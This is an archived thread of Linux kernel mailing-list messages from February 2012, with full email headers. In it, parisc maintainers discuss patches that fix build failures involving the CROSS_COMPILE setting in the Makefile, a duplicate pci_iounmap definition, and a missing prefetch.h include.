Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1330355667 28130 80.91.229.3 (27 Feb 2012 15:14:27 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 27 Feb 2012 15:14:27 +0000 (UTC)
Cc: JBottomley@parallels.com, jejb@parisc-linux.org, kyle@mcmartin.ca,
	deller@gmx.de, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-next@vger.kernel.org
To: Paul Gortmaker <paul.gortmaker@windriver.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 27 16:14:23 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1S22HP-0005Kz-35
	for glpp-linux-parisc@plane.gmane.org; Mon, 27 Feb 2012 16:14:23 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752839Ab2B0POW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 27 Feb 2012 10:14:22 -0500
Original-Received: from mail16.primus.ca ([216.254.141.183]:58443 "EHLO
	mail-05.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1752390Ab2B0POW (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 27 Feb 2012 10:14:22 -0500
Original-Received: from 216-58-40-249.cpe.distributel.net ([216.58.40.249] helo=[192.168.0.181])
	by mail-05.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1S22HB-0007PS-2x; Mon, 27 Feb 2012 10:14:10 -0500
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:10.0.2) Gecko/20120216 Thunderbird/10.0.2
In-Reply-To: <1330298813-17262-1-git-send-email-paul.gortmaker@windriver.com>
X-Authenticated: danglin-lux@magma.ca - 216-58-40-249.cpe.distributel.net ([192.168.0.181]) [216.58.40.249]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4190 gmane.linux.kernel:1258624 gmane.linux.kernel.next:20955
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4190>

On 2/26/2012 6:26 PM, Paul Gortmaker wrote:
> Using the 64 bit toolchains from kernel.org[1], one finds that
> you can't build the a500_defconfig, because the Makefile will
> stomp whatever value you have in your env. for CROSS_COMPILE.
>
> This shows up since the kernel.org toolchains for parisc-64
> do not have the "-gnu" prefix, and so you run into it always
> saying hppa64-linux-gnu-gcc not found, regardless of the fact
> you've not got "-gnu" put anywhere into CROSS_COMPILE.
>
> [1] ftp://ftp.kernel.org/pub/tools/crosstool/files/bin/x86_64/4.5.2/
>
> Signed-off-by: Paul Gortmaker<paul.gortmaker@windriver.com>
>
> diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
> index 55cca1d..cefff6d 100644
> --- a/arch/parisc/Makefile
> +++ b/arch/parisc/Makefile
> @@ -31,7 +31,9 @@ ifdef CONFIG_64BIT
>   UTS_MACHINE	:= parisc64
>   CHECKFLAGS	+= -D__LP64__=1 -m64
>   WIDTH		:= 64
> -CROSS_COMPILE	:= hppa64-linux-gnu-
> +ifndef CROSS_COMPILE
> + CROSS_COMPILE	:= hppa64-linux-gnu-
> +endif
>   else # 32-bit
>   WIDTH		:=
>   endif
This change breaks native builds.  So, I assume CROSS_COMPILE must be
previously defined.

I couldn't figure out where it is defined.  CONFIG_CROSS_COMPILE in my
.config was an empty string  and CROSS_COMPILE was not defined in my
build environment.

The default toolchain prefix on Debian systems contains "gnu-".

Given that users can use CONFIG_CROSS_COMPILE or set CROSS_COMPILE
in their build env, maybe setting CROSS_COMPILE in the Makefile is a 
mistake.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.next
Subject: Re: [PATCH] parisc: fix longstanding build failures for !CONFIG_PCI
Date: Mon, 27 Feb 2012 09:20:57 -0600
Lines: 39
Approved: news@gmane.org
Message-ID: <1330356057.2822.44.camel@dabdike.int.hansenpartnership.com>
References: <1330298677-17205-1-git-send-email-paul.gortmaker@windriver.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1330356070 31598 80.91.229.3 (27 Feb 2012 15:21:10 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 27 Feb 2012 15:21:10 +0000 (UTC)
Cc: jejb@parisc-linux.org, kyle@mcmartin.ca, deller@gmx.de,
	linux-parisc@vger.kernel.org, mst@redhat.com,
	linux-kernel@vger.kernel.org, linux-next@vger.kernel.org,
	Randy Dunlap <rdunlap@xenotime.net>
To: Paul Gortmaker <paul.gortmaker@windriver.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 27 16:21:06 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1S22Nr-0000xg-Kb
	for glpp-linux-parisc@plane.gmane.org; Mon, 27 Feb 2012 16:21:03 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753160Ab2B0PVB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 27 Feb 2012 10:21:01 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:40127 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753118Ab2B0PVB (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 27 Feb 2012 10:21:01 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 54B9F8EE12E;
	Mon, 27 Feb 2012 07:21:00 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id PHg5ZCyVV3Vi; Mon, 27 Feb 2012 07:21:00 -0800 (PST)
Original-Received: from [192.168.10.225] (unknown [192.168.10.225])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 0F6A28EE0A3;
	Mon, 27 Feb 2012 07:20:58 -0800 (PST)
In-Reply-To: <1330298677-17205-1-git-send-email-paul.gortmaker@windriver.com>
X-Mailer: Evolution 3.2.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4191 gmane.linux.kernel:1258625 gmane.linux.kernel.next:20956
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4191>

On Sun, 2012-02-26 at 18:24 -0500, Paul Gortmaker wrote:
> Upstream commit fea80311a939a746533a6d7e7c3183729d6a3faf
> 
>     "iomap: make IOPORT/PCI mapping functions conditional"
> 
> introduced an arch independent stub for pci_iounmap() but the
> parisc had its own that was unconditionally built.  So builds
> since v3.0-3553-gfea8031 have been failing with:
> 
> arch/parisc/lib/iomap.c:439:6: error: redefinition of 'pci_iounmap'
> include/asm-generic/iomap.h:75:20: note: previous definition of 'pci_iounmap' was here
> 
> Making the parisc one specific to CONFIG_PCI fixes the problem.
> 
> CC: Randy Dunlap <rdunlap@xenotime.net>
> Signed-off-by: Paul Gortmaker <paul.gortmaker@windriver.com>
> ---
> 
> [This fixes the linux-next builds that have been consistently failing
>  since last July -- http://kisskb.ellerman.id.au/kisskb/target/2069/ ]
> 
> diff --git a/arch/parisc/lib/iomap.c b/arch/parisc/lib/iomap.c
> index fb8e10a..dc0a2c3 100644
> --- a/arch/parisc/lib/iomap.c
> +++ b/arch/parisc/lib/iomap.c

This should break more than just PARISC ... any non-PCI build for any
arch should be broken, so this is the proposed generic fix:

http://marc.info/?l=linux-parisc&m=132794183521355

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.next
Subject: Re: [PATCH] parisc: fix longstanding build failure on prefetch
Date: Mon, 27 Feb 2012 09:24:49 -0600
Lines: 16
Approved: news@gmane.org
Message-ID: <1330356289.2822.45.camel@dabdike.int.hansenpartnership.com>
References: <1330289478-12603-1-git-send-email-paul.gortmaker@windriver.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1330356304 1133 80.91.229.3 (27 Feb 2012 15:25:04 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 27 Feb 2012 15:25:04 +0000 (UTC)
Cc: jejb@parisc-linux.org, kyle@mcmartin.ca, deller@gmx.de,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-next@vger.kernel.org, rientjes@google.com,
	xiyou.wangcong@gmail.com
To: Paul Gortmaker <paul.gortmaker@windriver.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Feb 27 16:25:01 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1S22Rg-0003D6-OQ
	for glk-linux-kernel-3@plane.gmane.org; Mon, 27 Feb 2012 16:25:01 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753369Ab2B0PYx (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 27 Feb 2012 10:24:53 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:40149 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751199Ab2B0PYv (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Mon, 27 Feb 2012 10:24:51 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 3F65A8EE1B6;
	Mon, 27 Feb 2012 07:24:51 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 9LSOIm2Ay7s0; Mon, 27 Feb 2012 07:24:51 -0800 (PST)
Original-Received: from [192.168.10.225] (unknown [192.168.10.225])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 17D758EE0A3;
	Mon, 27 Feb 2012 07:24:50 -0800 (PST)
In-Reply-To: <1330289478-12603-1-git-send-email-paul.gortmaker@windriver.com>
X-Mailer: Evolution 3.2.1 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1258627 gmane.linux.ports.parisc:4192 gmane.linux.kernel.next:20957
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1258627>

On Sun, 2012-02-26 at 15:51 -0500, Paul Gortmaker wrote:
> Upstream commit e66eed651fd18a961f11cda62f3b5286c8cc4f9f
> 
>     "list: remove prefetching from regular list iterators"
> 
> removed <linux/prefetch.h> from <linux/list.h> very early in the
> v3.0 dev cycle (v2.6.39-2-ge66eed6), thereby causing build failures
> when it exposed the implicit prefetch users in parisc.

I already have this in my internal patch queue:

http://marc.info/?l=linux-parisc&m=132825467010662

James



From - Thu Nov 08 21:07:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Gortmaker <paul.gortmaker@windriver.com>
Newsgroups: gmane.linux.kernel.next,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: fix longstanding build failure on prefetch
Date: Mon, 27 Feb 2012 11:02:37 -0500
Lines: 30
Approved: news@gmane.org
Message-ID: <4F4BA91D.7090303@windriver.com>
References: <1330289478-12603-1-git-send-email-paul.gortmaker@windriver.com> <1330356289.2822.45.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1330358605 21877 80.91.229.3 (27 Feb 2012 16:03:25 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 27 Feb 2012 16:03:25 +0000 (UTC)
Cc: <jejb@parisc-linux.org>, <kyle@mcmartin.ca>, <deller@gmx.de>,
	<linux-parisc@vger.kernel.org>, <linux-kernel@vger.kernel.org>,
	<linux-next@vger.kernel.org>, <rientjes@google.com>,
	<xiyou.wangcong@gmail.com>
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-next-owner@vger.kernel.org Mon Feb 27 17:03:23 2012
Return-path: <linux-next-owner@vger.kernel.org>
Envelope-to: glkn-linux-next@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-next-owner@vger.kernel.org>)
	id 1S232n-0007Wc-AO
	for glkn-linux-next@plane.gmane.org; Mon, 27 Feb 2012 17:03:21 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752416Ab2B0QDU (ORCPT <rfc822;glkn-linux-next@m.gmane.org>);
	Mon, 27 Feb 2012 11:03:20 -0500
Original-Received: from mail1.windriver.com ([147.11.146.13]:51405 "EHLO
	mail1.windriver.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751124Ab2B0QDT (ORCPT
	<rfc822;linux-next@vger.kernel.org>); Mon, 27 Feb 2012 11:03:19 -0500
Original-Received: from ALA-HCA.corp.ad.wrs.com (ala-hca [147.11.189.40])
	by mail1.windriver.com (8.14.3/8.14.3) with ESMTP id q1RG2dBD000894
	(version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=FAIL);
	Mon, 27 Feb 2012 08:02:39 -0800 (PST)
Original-Received: from [128.224.146.65] (128.224.146.65) by ALA-HCA.corp.ad.wrs.com
 (147.11.189.50) with Microsoft SMTP Server id 14.1.255.0; Mon, 27 Feb 2012
 08:02:39 -0800
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.27) Gecko/20120216 Thunderbird/3.1.19
In-Reply-To: <1330356289.2822.45.camel@dabdike.int.hansenpartnership.com>
X-Originating-IP: [128.224.146.65]
Original-Sender: linux-next-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-next.vger.kernel.org>
X-Mailing-List: linux-next@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.next:20958 gmane.linux.ports.parisc:4193 gmane.linux.kernel:1258639
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.next/20958>

On 12-02-27 10:24 AM, James Bottomley wrote:
> On Sun, 2012-02-26 at 15:51 -0500, Paul Gortmaker wrote:
>> Upstream commit e66eed651fd18a961f11cda62f3b5286c8cc4f9f
>>
>>     "list: remove prefetching from regular list iterators"
>>
>> removed <linux/prefetch.h> from <linux/list.h> very early in the
>> v3.0 dev cycle (v2.6.39-2-ge66eed6), thereby causing build failures
>> when it exposed the implicit prefetch users in parisc.
> 
> I already have this in my internal patch queue:
> 
> http://marc.info/?l=linux-parisc&m=132825467010662

Is this in a different queue than what is in linux next?

It would be nice to see such build fixes get into linux-next
ASAP, so folks doing multi-arch coverage builds on their work
can know if they've introduced a regression.  At the moment,
the parisc builds in linux-next have been worthless for over
six months, and I'm sure I'm not the 1st one to waste time
"re-solving" old bugs like this.

Thanks,
Paul.

> 
> James
> 
> 

From - Thu Nov 08 21:07:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Gortmaker <paul.gortmaker@windriver.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.next
Subject: Re: [PATCH] parisc: fix longstanding build failures for !CONFIG_PCI
Date: Mon, 27 Feb 2012 11:12:22 -0500
Lines: 47
Approved: news@gmane.org
Message-ID: <4F4BAB66.2000105@windriver.com>
References: <1330298677-17205-1-git-send-email-paul.gortmaker@windriver.com> <1330356057.2822.44.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1330359175 26775 80.91.229.3 (27 Feb 2012 16:12:55 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 27 Feb 2012 16:12:55 +0000 (UTC)
Cc: <jejb@parisc-linux.org>, <kyle@mcmartin.ca>, <deller@gmx.de>,
	<linux-parisc@vger.kernel.org>, <mst@redhat.com>,
	<linux-kernel@vger.kernel.org>, <linux-next@vger.kernel.org>,
	Randy Dunlap <rdunlap@xenotime.net>
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 27 17:12:51 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1S23By-0005it-FO
	for glpp-linux-parisc@plane.gmane.org; Mon, 27 Feb 2012 17:12:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753510Ab2B0QMt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 27 Feb 2012 11:12:49 -0500
Original-Received: from mail1.windriver.com ([147.11.146.13]:51555 "EHLO
	mail1.windriver.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752599Ab2B0QMt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 27 Feb 2012 11:12:49 -0500
Original-Received: from ALA-HCA.corp.ad.wrs.com (ala-hca [147.11.189.40])
	by mail1.windriver.com (8.14.3/8.14.3) with ESMTP id q1RGCOfA001058
	(version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=FAIL);
	Mon, 27 Feb 2012 08:12:25 -0800 (PST)
Original-Received: from [128.224.146.65] (128.224.146.65) by ALA-HCA.corp.ad.wrs.com
 (147.11.189.50) with Microsoft SMTP Server id 14.1.255.0; Mon, 27 Feb 2012
 08:12:24 -0800
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.27) Gecko/20120216 Thunderbird/3.1.19
In-Reply-To: <1330356057.2822.44.camel@dabdike.int.hansenpartnership.com>
X-Originating-IP: [128.224.146.65]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4194 gmane.linux.kernel:1258645 gmane.linux.kernel.next:20959
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4194>

On 12-02-27 10:20 AM, James Bottomley wrote:
> On Sun, 2012-02-26 at 18:24 -0500, Paul Gortmaker wrote:
>> Upstream commit fea80311a939a746533a6d7e7c3183729d6a3faf
>>
>>     "iomap: make IOPORT/PCI mapping functions conditional"
>>
>> introduced an arch independent stub for pci_iounmap() but the
>> parisc had its own that was unconditionally built.  So builds
>> since v3.0-3553-gfea8031 have been failing with:
>>
>> arch/parisc/lib/iomap.c:439:6: error: redefinition of 'pci_iounmap'
>> include/asm-generic/iomap.h:75:20: note: previous definition of 'pci_iounmap' was here
>>
>> Making the parisc one specific to CONFIG_PCI fixes the problem.
>>
>> CC: Randy Dunlap <rdunlap@xenotime.net>
>> Signed-off-by: Paul Gortmaker <paul.gortmaker@windriver.com>
>> ---
>>
>> [This fixes the linux-next builds that have been consistently failing
>>  since last July -- http://kisskb.ellerman.id.au/kisskb/target/2069/ ]
>>
>> diff --git a/arch/parisc/lib/iomap.c b/arch/parisc/lib/iomap.c
>> index fb8e10a..dc0a2c3 100644
>> --- a/arch/parisc/lib/iomap.c
>> +++ b/arch/parisc/lib/iomap.c
> 
> This should break more than just PARISC ... any non-PCI build for any
> arch should be broken, so this is the proposed generic fix:
> 
> http://marc.info/?l=linux-parisc&m=132794183521355

Similar comments here, it would have saved me looking at it at all
if this was simply present in linux-next anytime after last July.

Thanks,
Paul.

> 
> James
> 
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Gortmaker <paul.gortmaker@windriver.com>
Newsgroups: gmane.linux.kernel.next,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: dont unconditionally override CROSS_COMPILE for
 64 bit.
Date: Mon, 27 Feb 2012 11:28:06 -0500
Lines: 56
Approved: news@gmane.org
Message-ID: <4F4BAF16.9060507@windriver.com>
References: <1330298813-17262-1-git-send-email-paul.gortmaker@windriver.com> <4F4B9DD2.6000600@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1330360107 2327 80.91.229.3 (27 Feb 2012 16:28:27 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 27 Feb 2012 16:28:27 +0000 (UTC)
Cc: <JBottomley@parallels.com>, <jejb@parisc-linux.org>,
	<kyle@mcmartin.ca>, <deller@gmx.de>,
	<linux-parisc@vger.kernel.org>, <linux-kernel@vger.kernel.org>,
	<linux-next@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-next-owner@vger.kernel.org Mon Feb 27 17:28:25 2012
Return-path: <linux-next-owner@vger.kernel.org>
Envelope-to: glkn-linux-next@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-next-owner@vger.kernel.org>)
	id 1S23R1-0006t2-Jd
	for glkn-linux-next@plane.gmane.org; Mon, 27 Feb 2012 17:28:23 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753728Ab2B0Q2W (ORCPT <rfc822;glkn-linux-next@m.gmane.org>);
	Mon, 27 Feb 2012 11:28:22 -0500
Original-Received: from mail1.windriver.com ([147.11.146.13]:51822 "EHLO
	mail1.windriver.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753367Ab2B0Q2W (ORCPT
	<rfc822;linux-next@vger.kernel.org>); Mon, 27 Feb 2012 11:28:22 -0500
Original-Received: from ALA-HCA.corp.ad.wrs.com (ala-hca [147.11.189.40])
	by mail1.windriver.com (8.14.3/8.14.3) with ESMTP id q1RGS9YU001319
	(version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=FAIL);
	Mon, 27 Feb 2012 08:28:09 -0800 (PST)
Original-Received: from [128.224.146.65] (128.224.146.65) by ALA-HCA.corp.ad.wrs.com
 (147.11.189.50) with Microsoft SMTP Server id 14.1.255.0; Mon, 27 Feb 2012
 08:28:08 -0800
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.27) Gecko/20120216 Thunderbird/3.1.19
In-Reply-To: <4F4B9DD2.6000600@bell.net>
X-Originating-IP: [128.224.146.65]
Original-Sender: linux-next-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-next.vger.kernel.org>
X-Mailing-List: linux-next@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.next:20960 gmane.linux.ports.parisc:4195 gmane.linux.kernel:1258658
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.next/20960>

On 12-02-27 10:14 AM, John David Anglin wrote:
> On 2/26/2012 6:26 PM, Paul Gortmaker wrote:
>> Using the 64 bit toolchains from kernel.org[1], one finds that
>> you can't build the a500_defconfig, because the Makefile will
>> stomp whatever value you have in your env. for CROSS_COMPILE.
>>
>> This shows up since the kernel.org toolchains for parisc-64
>> do not have the "-gnu" prefix, and so you run into it always
>> saying hppa64-linux-gnu-gcc not found, regardless of the fact
>> you've not got "-gnu" put anywhere into CROSS_COMPILE.
>>
>> [1] ftp://ftp.kernel.org/pub/tools/crosstool/files/bin/x86_64/4.5.2/
>>
>> Signed-off-by: Paul Gortmaker<paul.gortmaker@windriver.com>
>>
>> diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
>> index 55cca1d..cefff6d 100644
>> --- a/arch/parisc/Makefile
>> +++ b/arch/parisc/Makefile
>> @@ -31,7 +31,9 @@ ifdef CONFIG_64BIT
>>   UTS_MACHINE	:= parisc64
>>   CHECKFLAGS	+= -D__LP64__=1 -m64
>>   WIDTH		:= 64
>> -CROSS_COMPILE	:= hppa64-linux-gnu-
>> +ifndef CROSS_COMPILE
>> + CROSS_COMPILE	:= hppa64-linux-gnu-
>> +endif
>>   else # 32-bit
>>   WIDTH		:=
>>   endif
> This change breaks native builds.  So, I assume CROSS_COMPILE must be
> previously defined.

You lost me here.  As in a native 32bit env. doing a build for the
64 bit case is setting CROSS_COMPILE?

> 
> I couldn't figure out where it is defined.  CONFIG_CROSS_COMPILE in my
> .config was an empty string  and CROSS_COMPILE was not defined in my
> build environment.
> 
> The default toolchain prefix on Debian systems contains "gnu-".
> 
> Given that users can use CONFIG_CROSS_COMPILE or set CROSS_COMPILE
> in their build env, maybe setting CROSS_COMPILE in the Makefile is a 
> mistake.

Yeah, I'd support a complete nuke-and-pave of the whole Makefile
chunk as well.  It does seem redundant and causes more issues than
it solves.

Paul.

> 
> Dave
> 

From - Thu Nov 08 21:07:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel.next,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: fix longstanding build failure on prefetch
Date: Mon, 27 Feb 2012 10:32:51 -0600
Lines: 33
Approved: news@gmane.org
Message-ID: <1330360371.2822.56.camel@dabdike.int.hansenpartnership.com>
References: <1330289478-12603-1-git-send-email-paul.gortmaker@windriver.com>
	 <1330356289.2822.45.camel@dabdike.int.hansenpartnership.com>
	 <4F4BA91D.7090303@windriver.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1330360383 4457 80.91.229.3 (27 Feb 2012 16:33:03 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 27 Feb 2012 16:33:03 +0000 (UTC)
Cc: jejb@parisc-linux.org, kyle@mcmartin.ca, deller@gmx.de,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-next@vger.kernel.org, rientjes@google.com,
	xiyou.wangcong@gmail.com
To: Paul Gortmaker <paul.gortmaker@windriver.com>
Original-X-From: linux-next-owner@vger.kernel.org Mon Feb 27 17:33:00 2012
Return-path: <linux-next-owner@vger.kernel.org>
Envelope-to: glkn-linux-next@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-next-owner@vger.kernel.org>)
	id 1S23VQ-00008w-Lc
	for glkn-linux-next@plane.gmane.org; Mon, 27 Feb 2012 17:32:57 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753813Ab2B0Qcz (ORCPT <rfc822;glkn-linux-next@m.gmane.org>);
	Mon, 27 Feb 2012 11:32:55 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:40378 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753656Ab2B0Qcy (ORCPT
